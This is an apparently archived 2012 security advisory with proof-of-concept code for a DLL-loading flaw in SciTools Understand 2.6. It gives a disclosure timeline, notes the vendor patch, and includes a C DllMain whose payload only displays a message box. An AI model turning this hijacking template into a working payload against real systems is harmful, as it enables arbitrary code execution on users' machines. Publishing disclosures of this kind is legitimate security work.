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SciTools Understand 2.6 DLL Loading Code Execution

SciTools Understand 2.6 DLL Loading Code Execution
Posted Feb 8, 2012
Authored by LiquidWorm | Site zeroscience.mk

A vulnerability in SciTools Understand version 2.6 is caused due to the application loading libraries (wintab32.dll) in an insecure manner. This can be exploited to load arbitrary libraries by tricking a user into opening an Understand Project file (.UDB) located on a remote WebDAV or SMB share.

tags | exploit, remote, arbitrary
MD5 | 6182abddc28207b59c1c2e2c05212e36

SciTools Understand 2.6 DLL Loading Code Execution

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/*


SciTools Understand 2.6 (wintab32.dll) DLL Loading Arbitrary Code Execution


Vendor: Scientific Toolworks, Inc.
Product web page: http://www.scitools.com
Affected version: 2.6 (build 598)

Summary: Understand is a static analysis tool for maintaining, measuring,
and analyzing critical or large code bases.

Desc: The vulnerability is caused due to the application loading libraries
(wintab32.dll) in an insecure manner. This can be exploited to load arbitrary
libraries by tricking a user into opening an Understand Project file (.UDB)
located on a remote WebDAV or SMB share.

Tested on: Microsoft Windows XP Professional SP3 (EN)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Vendor status:

[29.01.2012] Vulnerability discovered.
[30.01.2012] Contact with the vendor.
[30.01.2012] Vendor replies with e-mail info for their european partner.
[30.01.2012] Contacted the new e-mail given with sent details and PoC code.
[31.01.2012] Vendor answers and sends the report to the appropriate division.
[31.01.2012] Asked vendor for confirmation and scheduled patch release date.
[02.02.2012] Vendor responds with confirmation and a scheduled release for a fix.
[08.02.2012] Vendor releases patched version 2.6.600 (Build 600): http://scitools.com/download/latest/Understand/Understand-2.6.600-Windows-32bit.exe.
[08.02.2012] Coordinated public security advisory released.


Advisory ID: ZSL-2012-5071
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5071.php

Vendor advisory: http://www.scitools.com/support/buildLogs.php


29.01.2012

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
dll_mll();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}

return TRUE;
}

int dll_mll()
{
MessageBox(0, "DLL Flownapped!", "DLL Message", MB_OK);
}
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